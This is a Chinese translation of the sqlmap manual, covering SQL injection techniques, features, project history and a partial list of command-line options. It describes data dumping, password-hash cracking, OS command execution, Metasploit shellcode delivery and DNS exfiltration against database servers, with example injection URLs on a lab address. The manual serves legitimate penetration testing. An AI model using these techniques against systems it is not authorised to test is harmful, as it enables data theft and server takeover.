sqlmap使用手册中文翻译版 sqlmap Usage

sqlmap使用手册中文翻译版 sqlmap Usage

目录导航

from

当前译版:

日期Commit ID
2022-01-03 18:43fc1a8e4035f579b6a44f3e3c5e5c7585b604fc61

sqlmap 官方站点

什么是 sqlmap?

sqlmap 是一款自动化检测与利用 SQL 注入漏洞的免费开源工具。

如何学习使用 sqlmap?

除了阅读本文档,你还可以结合 sqli-labs (一个 SQL 注入实验系统)来实践 sqlmap。

介绍

译自:Introduction

检测和利用 SQL 注入漏洞

假设你正在进行 Web 应用审计,发现有某个 Web 页面接受来自用户端提供的动态数据,这些数据通过 GETPOSTCookie 参数或 HTTP User-Agent 请求头发送。 因而,你想测试是否可以通过参数构造出 SQL 注入漏洞,如果有漏洞,则可以利用它们从后端 DBMS(Database Management System,数据库管理系统)中获取尽可能多的信息,甚至进一步控制底层的文件系统和操作系统。

简而言之,考虑下面的 url:

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

假设:

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

页面显示跟原来的一样(AND+1=1 条件取值为 True(译者注:url 编码中 + 会被转成空格)),而:

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

页面显示跟原来的不一样(AND+1=2 条件取值为 False)。这可能说明 index.phpGET 参数 id 存在 SQL 注入漏洞。此外,这种情形也表明用户输入的数据在 SQL 语句传送到 DBMS 之前没有被过滤。

这种设计缺陷在动态网页应用中十分常见,此类型漏洞与后端 DBMS 或后端编程语言并没有关系,漏洞的引入通常存在于代码的编写逻辑里面。从 2013 年开始,OWASP(Open Web Application Security Project,开放 Web 应用安全组织)已将此类漏洞列入最常见(译者注:原链接失效,重新添加了有效链接)严重 Web 应用漏洞的前十名单。

从上面的例子我们发现了存在可以利用的参数,现在我们可以通过在每一次的 HTTP 请求中修改 id 进行相关的漏洞检测。

重回上面的情景,根据以往经验,我们可以对 get_ini.php 页面中如何使用用户提交的参数值构建出相应的 SELECT 语句做一个大致的猜测。参考下面的 PHP 伪代码:

$query = "SELECT [column name(s)] FROM [table name] WHERE id=" . $_REQUEST['id'];

如你所见,通过在 id 参数后面添加符合语法并且布尔值为 True 的 SQL 语句(例如 id=1 AND 1=1),能够使 Web 应用返回和之前合法请求(没有添加其它的 SQL 语句)一模一样的页面。由此可见,后端 DBMS 执行了先前我们注入的 SQL 语句。上面的例子展示了一个基于布尔值的简单 SQL 盲注。当然,sqlmap 可以检测出任意类型的 SQL 注入漏洞,并相应地调整其后续的工作流程。

在这个简单的场景中不只是可以添加一个或多个 SQL 判断条件语句,还可以(取决于 DBMS 类型)添加更多的 SQL 堆叠查询(Stacked queries)语句。例如:[...]&id=1; 其他 SQL 查询语句#

sqlmap 能自动识别和利用这类型漏洞。将源链接 http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 添加到 sqlmap,它能够自动完成下面操作:

  • 识别有漏洞的参数(比如这个例子中的 id
  • 针对有漏洞的参数,自动选取对应类型的 SQL 注入技术
  • 识别后端 DBMS 的相关指纹信息
  • 根据用户使用的选项,它还能采集尽可能多的指纹信息,拉取数据或是掌管整个数据库服务器

网上还有很多深入讲解如何检测、利用和防止 SQL 注入漏洞的资源。推荐你在学习使用 sqlmap 之前阅读这些材料。

直连 DBMS

在 sqlmap 0.8 版本推出前,sqlmap 被认为是 Web 应用渗透测试工程师/新手/技术爱好者等受众使用的又一款 SQL 注入工具。然而,随着使用者的成长,渗透技术的发展,sqlmap 同样也跟着演化。现在 sqlmap 支持一个新的开关选项 -d,它允许你通过 DBMS 守护进程监听的 TCP 端口直接连接目标数据库服务器,便于你使用 SQL 注入技术对目标数据库进行攻击。

技术

译自:Techniques

sqlmap 可用于检测利用五种不同类型的 SQL 注入。

  • 布尔型盲注(Boolean-based blind):sqlmap 会替换或添加 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的 SELECT 子查询,也可以是任意用于获取输出数据的 SQL 语句。针对每个注入检测的 HTTP 响应,sqlmap 通过对比原始请求响应的 headers/body,从而逐个字符地推导出注入语句的输出。或者,用户可以预先提供一个字符串或正则表达式,用于对正确页面结果进行匹配。sqlmap 内部实现了二分算法,使得输出中的每一个字符可在最多 7 个 HTTP 请求内被获取。如果请求响应结果不是简单的明文字符集,sqlmap 会采取更大范围的算法来检测输出。
  • 时间型盲注(Time-based blind):sqlmap 会替换或者添加相关的 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的、用于使后端 DBMS(Database Management System,数据库管理系统)延迟几秒响应的查询。针对每一个注入检测的 HTTP 响应,通过对 HTTP 响应时间与原始请求之间进行比较,从而逐个字符地推导出注入语句的输出。正如基于布尔型盲注的技术一样,二分算法也会被应用。
  • 报错型注入(Error-based):sqlmap 会替换或者添加用于引发特定数据库错误的 SQL 语句到查询参数里面,并通过解析对应的注入结果,判断特定的数据库错误信息是否存在响应的 headers/body 中。这项技术只有在 Web 应用配置开启后端 DBMS 错误信息提醒才有效。
  • 联合查询注入(UNION query-based):sqlmap 会在查询参数中添加以 UNION ALL SELECT 开头的合法 SQL 语句。当 Web 应用在 for 循环中直接传递 SELECT 语句的查询结果,或采用了类似的方法将查询结果在页面中逐行输出时,这项技术会生效。当查询结果不使用 for 循环进行全部输出而只输出首个结果,sqlmap 还能够利用偏(单入口)联合查询 SQL 注入漏洞。
  • 堆叠查询注入(Stacked queries),也被称为捎带查询注入(piggy backing):sqlmap 会测试 Web 应用是否支持堆叠查询,如果支持,则在 HTTP 请求的查询参数中添加一个分号(;),并在后面加上注入的 SQL 语句。这项技术不仅适用于执行 SELECT 语句,同样适用于执行数据定义或者数据操作等 SQL 语句,同时可能可以获取到文件系统的读写权限和系统命令执行权限,不过这很大程度上取决于底层 DBMS 和当前会话用户的权限。

特性

译自:Features

sqlmap 实现的功能特性包括:

通用特性

  • 完全支持 MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, Percona, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDBVirtuoso 等 DBMS(Database Management System,数据库管理系统)。
  • 完全支持五种 SQL 注入技术:布尔型盲注(Boolean-based blind)时间型盲注(Time-based blind)报错型注入(Error-based)联合查询注入(UNION query-based)和堆叠查询(Stacked queries)注入
  • 支持通过提供 DBMS 凭证,IP 地址,端口和数据库名而非 SQL 注入直接连接数据库
  • 支持用户提供单个目标 URL,通过 Burp proxyWebScarab proxy 的请求日志文件批量获取目标地址列表,从文本文件获得完整的 HTTP 请求报文或使用 Google dork——使用 Google 查询并解析结果页面获取批量目标。也可以自定义正则表达式进行验证解析。
  • 可以测试并利用 GETPOST 参数,HTTP 头中的 CookieUser-AgentReferer 这些地方出现的 SQL 注入漏洞。也可以指定一个用英文逗号隔开的参数列表进行测试。
  • 支持自定义**最大 HTTP(S) 并发请求数(多线程)**以提高盲注的速度。同时,还可以设置每个 HTTP(S) 请求的间隔时间(秒)。当然,还有其他用来提高测试速度的相关优化选项。
  • 支持设置 HTTP 头中的 Cookie,当你需要为基于 cookies 身份验证的目标 Web 应用提供验证凭证,或者是你想要对 cookies 这个头部参数进行测试和利用 SQL 注入时,这个功能是非常有用的。你还可以指定对 Cookie 进行 URL 编码。
  • 自动处理来自 Web 应用的 HTTP Set-Cookie 消息,并重建超时过期会话。这个参数也可以被测试和利用。反之亦然,你可以强制忽略任何 Set-Cookie 消息头信息。
  • 支持 HTTP Basic,Digest,NTLM 和 Certificate authentications 协议。
  • HTTP(S) 代理支持通过使用验证代理服务器对目标应用发起请求,同时支持 HTTPS 请求。
  • 支持伪造 HTTP RefererHTTP User-Agent,可通过用户或者从一个文本文件中随机指定。
  • 支持设置输出信息的详细级别:共有七个级别的详细程度。
  • 支持从目标 URL 中解析 HTML 表单并伪造 HTTP(S) 请求以测试这些表单参数是否存在漏洞。
  • 通过用户设置选项调整粒度和灵活性
  • 对每一次查询实时评估完成时间,使用户能知道输出结果需要的大概时长。
  • 在抓取数据时能实时自动保存会话(对应查询和输出结果,支持部分获取保存)到一个文本文件中,并通过解析会话文件继续当前进行的注入检测
  • 支持从 INI 配置文件中读取相关配置选项而不是每次都要在命令行中指定。支持从命令行中生成对应的配置文件。
  • 支持复制后端数据库表结构和数据项到本地的 SQLite 3 数据库中。
  • 支持从 SVN 仓库中将 sqlmap 升级到最新的开发版本。
  • 支持解析 HTTP(S) 请求响应并显示相关的 DBMS 错误信息。
  • 集成其他 IT 安全开源项目,Metasploitw3af

指纹识别和枚举功能

  • 基于错误信息banner 解析函数输出对比特定特征(如 MySQL 注释注入)等方式,收集大量的数据库版本和底层操作系统指纹信息。如果你已经知道数据库系统的版本,则可以手动指定它。
  • 支持基本 Web 服务器和 Web 应用技术的指纹信息识别技术。
  • 支持获取 DBMS banner会话用户当前数据库等信息。sqlmap 还能检查当前会话用户是否为数据库管理员(DBA)帐号。
  • 支持枚举用户,密码散列,权限,角色,数据库,数据表和数据列
  • 支持自动识别密码散列格式并使用用字典攻击尝试破解
  • 支持暴力猜解表名和列名。当会话用户没有读取系统表的权限或数据库没有存储表结构信息(例如 MySQL < 5.0)时,这项功能会非常有用。
  • 支持完整地导出数据表,或用户指定的部分数据项、数据列。用户甚至可以只导出部分数据项中的部分字符串。
  • 支持自动导出数据库所有的数据表和数据实体。在导出时,可以剔除部分指定数据表。
  • 支持搜索指定的数据库名,在数据库中搜索表,或在所有表中搜索列名。这是一项很有用的功能,例如,可以通过搜索列名中包含像 namepass 的表来确定哪些表包含用户敏感信息。
  • 支持交互式 SQL 客户端功能,用于连接后端数据库并执行 SQL 语句。sqlmap 会自动分析用户所提供的 SQL 语句,以此决定用最合适的技术去注入并打包相应的 SQL payload。

接管功能

以下的相关技术详细信息可在白皮书通过高级 SQL 注入完全控制操作系统和幻灯片通过数据库进一步控制操作系统中找到。

  • 支持用户自定义函数注入:用户可以编译生成共享代码库并通过 sqlmap 在数据库中创建共享库中没有的用户自定义函数。可以通过 sqlmap 执行或者移除这些 UDFs。这些功能当前只支持 MySQL 和 PostgreSQL 数据库。
  • 支持从运行 MySQL,PostgreSQL 和 Microsoft SQL Server 的数据库服务器文件系统中下载和上传文件
  • 支持在运行 MySQL,PostgreSQL 和 Microsoft SQL Server 的数据库服务器操作系统中执行任意命令并获取相应输出
  • 支持在运行 MySQL 和 PostgreSQL 数据库服务器上定义用户自定义函数注入并执行。
  • 支持在运行 Microsoft SQL Server 数据库服务器上使用 xp_cmdshell() 存储过程。同时,如果注入的存储过程被 DBA 禁用则会被自动启用,在被移除时,则会自动创建。
  • 支持在操作系统中建立攻击者机器和数据库服务器之间的有状态的带外数据 TCP 连接。根据用户选择这个通信通道可以是交互式命令行,Meterpreter 会话或图形用户界面(VNC)会话。sqlmap 依赖 Metasploit 生成 shellcode ,支持通过四种技术在数据库服务器执行。这些技术分别是:
    • 通过 sqlmap 自带的用户自定义 sys_bineval() 函数,在内存中执行 Metasploit shellcode。当前支持 MySQL 和 PostgreSQL。
    • 对于 MySQL 和 PostgreSQL,通过 sqlmap 自带的用户自定义 sys_exec() 函数上传并执行一个 Metasploit 独立运行的 payload,对于 Microsoft SQL Server 则使用 xp_cmdshell()
    • 通过 SMB 反射攻击MS08-068)执行 Metasploit shellcode,这需要目标数据库服务器向已被 Metasploit smb_relay 监听的攻击者机器发出一个 UNC 路径请求。当 sqlmap 以 Linux/Unix 高权限(uid=0)运行,并且目标 DMBS 在 Windows 中以管理员身份运行时支持该功能。
    • 通过利用 Microsoft SQL Server 2000 和 2005 中存在的 sp_replwritetovarbin 存储过程堆缓冲区溢出MS09-004)在内存中执行 Metasploit shellcode。sqlmap 有内置脚本可以自动绕过 DEP 内存保护去触发目标系统漏洞,该脚本依赖 Metasploit ,用于生成 shellcode 以执行攻击。
  • 支持通过 Metasploit 的 getsystem 命令进行数据库进程用户提权,这个命令使用了包括 kitrap0d 在内等技术(MS10-015)。
  • 支持访问(读取/添加/删除)Windows 注册表配置单元。

演示

你可以在 BernardoMiroslav 的 YouTube 主页中观看演示。还可以在 这里 找到大量含有公开可用漏洞的 Web 应用,用于合法的 Web 应用安全评估。

下载和更新

译自:Download and update

点击这里下载最新版本的 tar 源码包,或者点击这里下载最新版本的 zip 源码包。

更好的方式是,直接使用 Git 克隆 sqlmap 仓库。Git

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

或者,你可以从 PyPI 仓库获取最新的(按月更新)软件包:

pip install --upgrade sqlmap

在任意时刻,你可以通过下面的方式获取最新版本:

python sqlmap.py --update

或者:

git pull

相关依赖

译自:Dependencies

sqlmap 使用 Python 开发,Python 是一门动态的、面向对象的解释型语言,你可以从 http://python.org/download/ 免费下载安装。因而 sqlmap 独立于操作系统,是一款跨平台的工具。使用 sqlmap 需要 Python 2.62.73.x 的相关环境。通常 GNU/Linux 的发行版都会预安装好相关的 Python 版本。其他的 Unix 和 Mac OSX 通常也会有相关的 Python 依赖包,并且可以很容易地进行安装。Windows 用户可以针对 x86,AMD64 和 Itanium 选择不同的安装程序。

sqlmap 的部分漏洞利用功能依赖于 Metasploit 框架。你可以从这里获取 Metasploit 框架,版本要求是 3.5 或者更高版本。对于 ICMP 隧道入侵技术,sqlmap 需要 Impacket 依赖包。

如果你想要绕过 Web 应用,直接连接到数据库服务器(开启 -d 选项),你需要根据攻击目标中不同 DBMS(Database Management System,数据库管理系统)安装不同的 Python 连接依赖包:

如果你想要攻击部署了 NTLM 验证的 Web 应用,那么你需要安装 python-ntlm 依赖包。

此外,如果你是在 Windows 中运行 sqlmap,为了更好地支持 SQL shell 和 OS shell 中 sqlmap TAB 自动补全功能和历史记录功能,那么你可能会想要安装 PyReadline 依赖包。需要注意的是,在其他系统中,这些功能都是由标准 Python 依赖包 readline 支持的。

sqlmap历史版本

历史

译自:History

2022

2021

2020

  • 十一月 7 日,Miroslav 在 Bsides Chile 2020(在线)上做了题为 sqlmap – “每次一小步” 的分享(幻灯片)。
  • 一月 1 日,发布稳定版本 1.4变更集问题列表)。

2019

  • 三月 8 日完成对 Python 3 的支持。
  • 一月 5 日,发布稳定版本 1.3变更集)。

2018

2017

2016

2015

  • 十月 14 日,Miroslav 在 Albacete,Spain 举行的 Navaja Negra & ConectaCon 大会上提出了为什么(而不是如何)sqlmap 有效?幻灯片)。

2014

  • 解决前 1000Issue

2013

  • 九月 19 日,Miroslav 在 Varazdin,Croatia 举行的 FSEC 2013 上分享了 sqlmap 中的启发式方法幻灯片)。
  • 五月 23 日,Miroslav 在 Moscow,Russia PHDays 2013 上为我们带来了 presents sqlmap – 内部实现幻灯片)。

2012

  • 六月 26 日,sqlmap 代码库迁移GitHub,并更新主页。也公开了代码问题追踪。同时移除了原先在 SourceForge 上的 SVN 代码仓库。
  • 五月 31 日,在 Moscow,Russia 举行的 PHDays 2012 大会上,Miroslav 带来基于 sqlmap 的 DNS 渗透研究报告(幻灯片),同时还有基于 SQL 注入攻击的数据获取白皮书

2011

  • 十二月,在这一年中,sqlmap 新增了很多新的功能特性,同时修复了数百个 bugs。
  • 九月 23 日,在 Varazdin,Croatia 举行的 FSec – FOI Security Symposium 大会上,Miroslav 带来基于 从’(攻击者眼中的 SQL 注入)说起主题演讲(幻灯片),讲解了常见 SQL 注入攻击中使用的攻击方法。
  • 六月 23 日,在 Firenze, Italy 的 EuroPython 2011 大会上,Miroslav 带来 sqlmap – Python 安全领域的发展幻灯片),讲解了 sqlmap 的内部实现。
  • 四月 10 日Bernardo 和 Miroslav 发布了 sqlmap 0.9 版本,重写了整个 SQL 注入检测引擎,能够直连数据库服务器,同时支持了时间型盲注(Time-based blind)和报错型注入(Error-based),并支持了四种新的 DBMS(Database Management System,数据库管理系统)。

2010

  • 十二月Bernardo and Miroslav 为了在 2011 年第一季度 发布 sqlmap 0.9 版本,为 sqlmap 增强了很多新的特性。
  • 六月 3,在 Athens(Greece)举行的 AthCon 2010 大会上,Bernardo 带来标题为**入侵数据库?掌控整个网络!**的演讲。
  • 三月 14 日Bernardo 和 Miroslav 发布 sqlmap 0.8 稳定版本,增加了很多新特性。众多新特性中,包括了枚举数据库数据表,导出用户指定的数据表等功能,同时版本更加稳定并增强了其渗透功能。同时更新了对 Metasploit 3.3.3 的支持,及其他的功能添加和 bug 修复。
  • 三月发布了 sqlmap 的示例视频。
  • 一月,Bernardo 被将于 Greece,2010 年六月举行的 AthCon大会邀请进行演讲。

2009

  • 十二月 18 日Miroslav Stampar 响应了众多开发者的号召。跟 Bernardo 一起,积极参与 sqlmap 0.8 第 2 候选版本开发。
  • 十二月 12 日,Bernardo 在邮件列表中发布了一封标题为 sqlmap 3 年内的顶尖水平的邮件,强调了三年内 sqlmap 所要达到的目标,并且向所有开发者发起了号召。
  • 十二月 4 日,sqlmap-devel 邮件列表并入 sqlmap-users 邮件列表
  • 十一月 20 日,在 Warsaw,Poland 举行的 CONfidence 2009 大会上,Bernardo 和 Guido 发表了他们关于数据库服务器渗透方面的研究。
  • 九月 26 日,在 SOURCE Barcelona 2009 大会上,sqlmap 公布了托管在 SVN 仓库 上的 0.8 第 1 候选 版本,公开了大量的攻击工具。包括能够自动绕过 Microsoft SQL Server DEP 内存保护的缓冲区溢出攻击工具,支持通过 UDF sys_bineval()(反取证技术)在内存中执行 Metasploit shellcode,从而与目标数据库服务器建立带外连接,支持对 Windows 注册表进行读写,并支持用户自定义函数注入。
  • 九月 21 日,在 2009 年 Barcelona,Spain 举行的 SOURCE 大会上,Bernardo 和 Guido Landi 发布 了他们的研究(幻灯片)。
  • 八月,Bernardo 被邀请为 SOURCE Barcelona 2009CONfidence 2009 Warsaw 两个 IT 安全大会的演讲者。新的研究课题是如何通过数据库进一步控制操作系统
  • 七月 25 日,sqlmap 0.7 稳定版本发布!
  • 六月 27 日,在 Lisbon,Portugal 举行的 2nd Digital Security Forum 大会上,Bernardo 发布了新版本的 SQL 注入:不只是 AND 1=1 幻灯片。
  • 六月 2 日,sqlmap 0.6.4 版本被添加到 Ubuntu 的官方仓库中。
  • 五月,在 Warsaw,Poland 举行的 OWASP AppSec Europe 2009 和 London,UK 的 EUSecWest 2009 大会上,Bernardo 发表了通过 SQL 注入入侵操作系统的相关研究。
  • 五月 8 日,sqlmap 0.6.4 版本被添加到 Debian 官方仓库中。详情看这篇博客
  • 四月 22 日,在 Black Hat Europe 2009 大会上,sqlmap 0.7 第 1 候选 版本发布,公布了很多攻击工具。这些工具支持在目标系统执行任意的命令,通过集成 Metasploit 支持与目标数据库服务器建立起 TCP 带外连接,首次公布针对 Microsoft SQL Server 2000 和 2005 的 Microsoft Security Bulletin MS09-004 的利用,并且支持数据库服务器的入侵控制,而不仅仅是获取数据库中的数据。
  • 四月 16 日,Bernardo 在 Amsterdam,Netherlands 举行的 Black Hat Europe 2009 大会上发表了他的研究(幻灯片白皮书)。听众的反馈十分不错,同时还有相关的媒体报导
  • 三月 5 日,2009 年在 Amsterdam 举行的 Black Hat Europe 以及在 Denver,USA 举行的 Front Range OWASP 大会上,Bernardo 首次 展示 了 sqlmap 的新特性和近期会支持的新功能。分享的主题为 SQL 注入:不只是 AND 1=1
  • 二月 24 日,Bernardo 被邀请到 Black Hat Europe 2009 做相关的 演讲,主题是利用高级 SQL 注入完全控制操作系统
  • 二月 3 日,sqlmap 0.6.4 版本是 0.6 系列的最后一个版本:通过利用 0.6.3 版本实现的堆叠查询(Stacked queries)功能,sqlmap 能够执行任意的 SQL 语句,不再局限于 SELECT 语句。同时,在这次版本发布中,许多新的功能特性变得更加稳定,执行效率有了很大的提升。
  • 一月 9 日,Bernardo 在 London,UK 的分享会上 演讲了 SQL 注入利用内部实现

2008

  • 十二月 18 日,sqlmap 0.6.3 版本发布,支持从 Burp 和 WebScarab 代理日志文件获取目标,支持对堆叠查询的测试和时间型盲注的 SQL 注入,更多业内使用的 Web 服务器和 Web 应用技术指纹信息识别技术,支持 HTTP 请求自定义及枚举数据库的相关信息功能。
  • 十一月 2 日,sqlmap 0.6.2 版本只是“bug 修复”版本。
  • 十月 20 日,sqlmap 0.6.1 版本正式发布,这个版本包含部分 bug 修改,及添加了用于连接 Metasploit 的工具:用于在 Metasploit 中打开 sqlmap 的辅助工具。SVN 代码仓库重新对大众开放。
  • 九月 1 日,在上次版本发布后的一年后,sqlmap 0.6 经历了完全的代码重构,支持执行任意的 SQL SELECT 语句,同时添加了支持枚举和导出特定数据的相关参数,更新了 Debian,Red Hat,Windows 下相关的软件安装包。
  • 八月,在 SourceForge 上创建了两个公共邮件列表
  • 一月,sqlmap SVN 代码仓库被从 SourceForge 移除,临时成为私有仓库。

2007

  • 十一月 4 日,版本 0.5 的发布标志着 OWASP Spring of Code 2007 比赛的结束。Bernardo 完成了 之前提出的所有目标,包括添加对 Oracle 的相关支持,联合查询 SQL 注入的功能增强,以及 HTTP Cookies 和 User-Agent 的注入分析测试。
  • 六月 15 日,Bernardo 在 OWASP Spring of Code 2007 里程碑结束后发布了 sqlmap 0.4 版本。相对之前的版本,该版本提升了 DBMS 指纹信息识别功能,支持估算数据从目标数据库服务器返回时间和枚举特定数据的相关参数,同时配备了全新的日志系统。
  • 四月,虽然 sqlmap 并不是一个 OWASP 项目,不过在众多 OWASP Spring of Code 2007 的开源项目的竞争下,sqlmap 仍然申请 成功
  • 三月 30 日,Bernardo 申请了 OWASP Spring of Code 2007 比赛。
  • 一月 20 日,sqlmap 0.3 版本发布,开始支持 Microsoft SQL Server,支持 联合查询 SQL 注入和 POST 参数注入等相关测试和渗透功能。

2006

  • 十二月 13 日,Bernardo 发布了 sqlmap 0.2 版本,该版本增强了 DBMS 的指纹信息识别功能,同时将原先内部实现的推导算法换成了二分算法。
  • 九月,Daniele 离开项目,Bernardo Damele A. G. 接手了项目。
  • 八月,Daniele 为 PostgreSQL 添加了相关的支持并发布了 0.1 版本。
  • 七月 25 日Daniele Bellucci 在 SourceForge 上添加了 sqlmap 项目,并使用 SourceForge SVN 仓库 进行代码托管。基本的架构成型,只支持 MySQL 相关功能。

sqlmap用法

译自:Usage

用法:python sqlmap.py [选项]

选项:
  -h, --help            显示基本帮助信息并退出
  -hh                   显示高级帮助信息并退出
  --version             显示程序版本信息并退出
  -v VERBOSE            输出信息详细程度级别:0-6(默认为 1)

  目标:
    至少提供一个以下选项以指定目标

    -u URL, --url=URL   目标 URL(例如:"http://www.site.com/vuln.php?id=1")
    -d DIRECT           可直接连接数据库的地址字符串
    -l LOGFILE          从 Burp 或 WebScarab 代理的日志文件中解析目标地址
    -m BULKFILE         从文本文件中获取批量目标
    -r REQUESTFILE      从文件中读取 HTTP 请求
    -g GOOGLEDORK       使用 Google dork 结果作为目标
    -c CONFIGFILE       从 INI 配置文件中加载选项

  请求:
    以下选项可以指定连接目标地址的方式

    -A AGENT, --user..  设置 HTTP User-Agent 头部值
    -H HEADER, --hea..  设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
    --method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)
    --data=DATA         使用 POST 发送数据串(例如:"id=1")
    --param-del=PARA..  设置参数值分隔符(例如:&)
    --cookie=COOKIE     指定 HTTP Cookie(例如:"PHPSESSID=a8d127e..")
    --cookie-del=COO..  设置 cookie 分隔符(例如:;)
    --live-cookies=L..  指定 Live cookies 文件以便加载最新的 Cookies 值
    --load-cookies=L..  指定以 Netscape/wget 格式存放 cookies 的文件
    --drop-set-cookie   忽略 HTTP 响应中的 Set-Cookie 参数
    --mobile            使用 HTTP User-Agent 模仿智能手机
    --random-agent      使用随机的 HTTP User-Agent
    --host=HOST         指定 HTTP Host
    --referer=REFERER   指定 HTTP Referer
    --headers=HEADERS   设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP 认证方式(Basic,Digest,NTLM 或 PKI)
    --auth-cred=AUTH..  HTTP 认证凭证(username:password)
    --auth-file=AUTH..  HTTP 认证 PEM 证书/私钥文件
    --ignore-code=IG..  忽略(有问题的)HTTP 错误码(例如:401)
    --ignore-proxy      忽略系统默认代理设置
    --ignore-redirects  忽略重定向尝试
    --ignore-timeouts   忽略连接超时
    --proxy=PROXY       使用代理连接目标 URL
    --proxy-cred=PRO..  使用代理进行认证(username:password)
    --proxy-file=PRO..  从文件中加载代理列表
    --proxy-freq=PRO..  通过给定列表中的不同代理依次发出请求
    --tor               使用 Tor 匿名网络
    --tor-port=TORPORT  设置 Tor 代理端口代替默认端口
    --tor-type=TORTYPE  设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))
    --check-tor         检查是否正确使用了 Tor
    --delay=DELAY       设置每个 HTTP 请求的延迟秒数
    --timeout=TIMEOUT   设置连接响应的有效秒数(默认为 30)
    --retries=RETRIES   连接超时时重试次数(默认为 3)
    --randomize=RPARAM  随机更改给定的参数值
    --safe-url=SAFEURL  测试过程中可频繁访问且合法的 URL 地址(译者注:
                        有些网站在你连续多次访问错误地址时会关闭会话连接,
                        后面的“请求”小节有详细说明)
    --safe-post=SAFE..  使用 POST 方法发送合法的数据
    --safe-req=SAFER..  从文件中加载合法的 HTTP 请求
    --safe-freq=SAFE..  在访问给定的合法 URL 之间穿插发送测试请求
    --skip-urlencode    不对 payload 数据进行 URL 编码
    --csrf-token=CSR..  设置网站用来反 CSRF 攻击的 token
    --csrf-url=CSRFURL  指定可提取防 CSRF 攻击 token 的 URL
    --csrf-method=CS..  指定访问防 CSRF token 页面时使用的 HTTP 方法
    --csrf-retries=C..  指定获取防 CSRF token 的重试次数 (默认为 0)
    --force-ssl         强制使用 SSL/HTTPS
    --chunked           使用 HTTP 分块传输编码(POST)请求
    --hpp               使用 HTTP 参数污染攻击
    --eval=EVALCODE     在发起请求前执行给定的 Python 代码(例如:
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  优化:
    以下选项用于优化 sqlmap 性能

    -o                  开启所有优化开关
    --predict-output    预测常用请求的输出
    --keep-alive        使用持久的 HTTP(S) 连接
    --null-connection   仅获取页面大小而非实际的 HTTP 响应
    --threads=THREADS   设置 HTTP(S) 请求并发数最大值(默认为 1)

  注入:
    以下选项用于指定要测试的参数,
    提供自定义注入 payloads 和篡改参数的脚本

    -p TESTPARAMETER    指定需要测试的参数
    --skip=SKIP         指定要跳过的参数
    --skip-static       指定跳过非动态参数
    --param-exclude=..  用正则表达式排除参数(例如:"ses")
    --param-filter=P..  通过位置过滤可测试参数(例如:"POST")
    --dbms=DBMS         指定后端 DBMS(Database Management System,
                        数据库管理系统)类型(例如:MySQL)
    --dbms-cred=DBMS..  DBMS 认证凭据(username:password)
    --os=OS             指定后端 DBMS 的操作系统类型
    --invalid-bignum    将无效值设置为大数
    --invalid-logical   对无效值使用逻辑运算
    --invalid-string    对无效值使用随机字符串
    --no-cast           关闭 payload 构造机制
    --no-escape         关闭字符串转义机制
    --prefix=PREFIX     注入 payload 的前缀字符串
    --suffix=SUFFIX     注入 payload 的后缀字符串
    --tamper=TAMPER     用给定脚本修改注入数据

  检测:
    以下选项用于自定义检测方式

    --level=LEVEL       设置测试等级(1-5,默认为 1)
    --risk=RISK         设置测试风险等级(1-3,默认为 1)
    --string=STRING     用于确定查询结果为真时的字符串
    --not-string=NOT..  用于确定查询结果为假时的字符串
    --regexp=REGEXP     用于确定查询结果为真时的正则表达式
    --code=CODE         用于确定查询结果为真时的 HTTP 状态码
    --smart             只在使用启发式检测时才进行彻底的测试
    --text-only         只根据页面文本内容对比页面
    --titles            只根据页面标题对比页面

  技术:
    以下选项用于调整特定 SQL 注入技术的测试方法

    --technique=TECH..  使用的 SQL 注入技术(默认为“BEUSTQ”,译者注:
                        B: Boolean-based blind SQL injection(布尔型盲注)
                        E: Error-based SQL injection(报错型注入)
                        U: UNION query SQL injection(联合查询注入)
                        S: Stacked queries SQL injection(堆叠查询注入)
                        T: Time-based blind SQL injection(时间型盲注)
                        Q: inline Query injection(内联查询注入)
    --time-sec=TIMESEC  延迟 DBMS 的响应秒数(默认为 5)
    --union-cols=UCOLS  设置联合查询注入测试的列数目范围
    --union-char=UCHAR  用于暴力猜解列数的字符
    --union-from=UFROM  设置联合查询注入 FROM 处用到的表
    --dns-domain=DNS..  设置用于 DNS 渗出攻击的域名(译者注:
                        推荐阅读《在SQL注入中使用DNS获取数据》
                        http://cb.drops.wiki/drops/tips-5283.html,
                        在后面的“技术”小节中也有相应解释)
    --second-url=SEC..  设置二阶响应的结果显示页面的 URL(译者注:
                        该选项用于 SQL 二阶注入)
    --second-req=SEC..  从文件读取 HTTP 二阶请求

  指纹识别:
    -f, --fingerprint   执行广泛的 DBMS 版本指纹识别

  枚举:
    以下选项用于获取后端 DBMS 的信息,结构和数据表中的数据

    -a, --all           获取所有信息、数据
    -b, --banner        获取 DBMS banner
    --current-user      获取 DBMS 当前用户
    --current-db        获取 DBMS 当前数据库
    --hostname          获取 DBMS 服务器的主机名
    --is-dba            探测 DBMS 当前用户是否为 DBA(数据库管理员)
    --users             枚举出 DBMS 所有用户
    --passwords         枚举出 DBMS 所有用户的密码哈希
    --privileges        枚举出 DBMS 所有用户特权级
    --roles             枚举出 DBMS 所有用户角色
    --dbs               枚举出 DBMS 所有数据库
    --tables            枚举出 DBMS 数据库中的所有表
    --columns           枚举出 DBMS 表中的所有列
    --schema            枚举出 DBMS 所有模式
    --count             获取数据表数目
    --dump              导出 DBMS 数据库表项
    --dump-all          导出所有 DBMS 数据库表项
    --search            搜索列,表和/或数据库名
    --comments          枚举数据时检查 DBMS 注释
